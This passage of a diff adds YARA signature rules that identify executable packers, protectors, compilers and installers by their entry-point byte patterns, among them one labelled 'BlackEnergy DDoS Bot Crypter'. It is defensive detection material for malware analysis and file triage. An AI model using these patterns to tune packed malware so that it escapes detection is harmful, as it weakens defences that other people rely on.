+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_V2403__Jitit_
+{
+	meta:
+		description = "Thinstall V2.403 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+		$1 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+		$2 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+		$3 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _DEF_v10_
+{
+	meta:
+		description = "DEF v1.0"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+		$1 = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+		$2 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _MSLRH_v032a__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a -> emadicius"
+	strings:
+		$0 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+		$1 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F 70 79 72 69 67 68 74 20 62 79 20 43 48 52 69 53 54 4F 50 48 20 47 41 42 4C 45 52 20 69 6E 20 31 39 39 38 21 0D 0A 52 65 67 69 73 74 65 72 65 64 20 74 6F 20 3A 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$2 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Cpp_TREXE_
+{
+	meta:
+		description = "Borland C++ (TR.EXE)"
+	strings:
+		$0 = {B4 0F CD 10 3C 03 74 05 B8 03 00 CD 10 BA 00 00 2E 89 16 00 01 8B 2E 02 00 8B 1E 2C 00 8E DA 8C 06 00 00 89 1E 00 00 89 2E 00 00 A1 00 00 8E C0 33 C0 8B D8 8B F8 B9 FF 7F FC F2 AE E3 00 43 26 38 05 75 F6 80 CD 80 F7 D9 89 0E 00 00 B9 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTE_
+{
+	meta:
+		description = "ASProtect v1.1 MTE"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_vV202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock vV2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKP_v143__Pavol_Cerven_
+{
+	meta:
+		description = "SVKP v1.43 -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC CE 05 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_20__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+		$1 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+		$2 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _PECompact_125_
+{
+	meta:
+		description = "PECompact 1.25"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 A6 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 9E 70 40 00 BB F3 0D 00 00 03 9D AA 70 40 00 03 9D A6 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _mPack_003__DeltaAziz_
+{
+	meta:
+		description = "mPack 0.0.3 -> DeltaAziz"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+		$1 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+		$2 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CC_261b_
+{
+	meta:
+		description = "CC 2.61b"
+	strings:
+		$0 = {BA 00 00 B4 30 CD 21 3C 02 73 05 33 C0 06 50 CB B9 EB 09 B8 05 FE EB FC 80 C4 3B EB F4 8D 9D 29 01 CD 21 B0 01 CD 21 EB 02 EB FE E8 00 00 5B C6 47 06 82 B0 80 E6 21 BB 20 FF BE 50 01 8B FB B9 B6 00 F3 A4 8B C3 C1 E8 04 8C CD 03 C5 50 51 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_protector_102__Vladimir_Sukhov_h_
+{
+	meta:
+		description = "Enigma protector 1.02 -> Vladimir Sukhov (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_32Lite_003_
+{
+	meta:
+		description = "PseudoSigner 0.2 [32Lite 0.03"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+		$1 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+		$2 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Ultra_Compressors_Archive_
+{
+	meta:
+		description = "Ultra Compressor`s Archive"
+	strings:
+		$0 = {55 43 32 1A}
+	condition:
+		$0 at entrypoint
+}
+rule _BlackEnergy_DDoS_Bot_Crypter_
+{
+	meta:
+		description = "BlackEnergy DDoS Bot Crypter"
+	strings:
+		$0 = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+		$1 = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_1_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (1)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+		$1 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HackStop_119_build_217_
+{
+	meta:
+		description = "HackStop 1.19 build 217"
+	strings:
+		$0 = {53 BB EB 04 5B EB FB EA 9C 1E 52 B4 30 CD 21 86 C4 3D D6 02 73 02 CD 20 0E 1F 53 BB EB 04 5B EB FB EA E8 02 00 24 24 5A B4 09 CD 21 53 BB EB 04 5B EB FB EA EB 02 D8 88 5A 1F 53 BB EB 04 5B EB FB EA B0 AD E6 64 58 E8 D6 F1 53 BB EB 04 5B EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70__80_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 - 8.0"
+	strings:
+		$0 = {53 56 8B 44 24 18 0B C0 75 18 8B 4C 24 14 8B 44 24 10 33 D2 F7 F1 8B D8 8B 44 24 0C F7 F1 8B D3 EB 41 8B C8 8B 5C 24 14 8B 54 24 10 8B 44 24 0C D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B F0 F7 64 24 18 8B C8 8B 44 24 14 F7 E6 03 D1 72 0E 3B 54 24 10 77 08 72 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_110_beta_2_
+{
+	meta:
+		description = "PECompact 1.10 beta 2"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 94 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 BB 7F 0A 00 00 03 9D 98 60 40 00 03 9D 94 60 40 00 53 53 53 58 2D 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory 6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v1x___Nullsoft_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x ->  Nullsoft"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XComp_097__098_EXE__JoKo_
+{
+	meta:
+		description = "XComp 0.97 - 0.98 EXE -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 9C 60 E8 75 06 00 00 34 ?? 01 00 00 00 00 00 00 00 00 00 4C ?? 01 00 34 ?? 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 59 ?? 01 00 6A ?? 01 00 79 ?? 01 00 88 ?? 01 00 96 ?? 01 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_116__117_
+{
+	meta:
+		description = "Trap 1.16 - 1.17"
+	strings:
+		$0 = {8C D0 BB 99 CB 8E D3 33 C9 8E D0 B9 7D 04 EB 03 90 CD 20 E2 F9 33 D2 E5 21 50 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0E 90 90 83 C1 FE 83 C2 01 EB EB FA EB FE F4 FA B8 FE 00 E7 21 58 E7 21 66 8C E3 66 B8 00 00 01 00 8E E0 66 8C E0 8E E3 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTDLL_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+		$1 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nSPack_2x__North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x -> North Star/Liu Xing Ping"
+	strings:
+		$0 = {FF FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Windows_Enhanced_Metafile_
+{
+	meta:
+		description = "Microsoft Windows Enhanced Metafile"
+	strings:
+		$0 = {01 00 00 00 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+		$1 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+		$2 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE_Stealth_v25__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.5 -> WebToolMaster"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_098__099_t_EXE_
+{
+	meta:
+		description = "aPack 0.98 - 0.99 -t [EXE]"
+	strings:
+		$0 = {1E 06 0E 1F 0E 07 BE 13 00 BF 00 7F 8B CF FC 57 F3 A4 C3 33 FF BE 00 7F B2 80 BD 00 7F 50 A4 BB 10 00 FF D5 73 F8 FF D5 41 73 0F FF D5 72 24 FF D5 12 DB 73 FA 75 00 93 EB 00 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _MEGALITE_v120a_
+{
+	meta:
+		description = "MEGALITE v1.20a"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+		$1 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_V13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+		$2 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Cpp_1992_1994_
+{
+	meta:
+		description = "Borland C++ 1992, 1994"
+	strings:
+		$0 = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Berio_100_beta_
+{
+	meta:
+		description = "Berio 1.00 beta"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 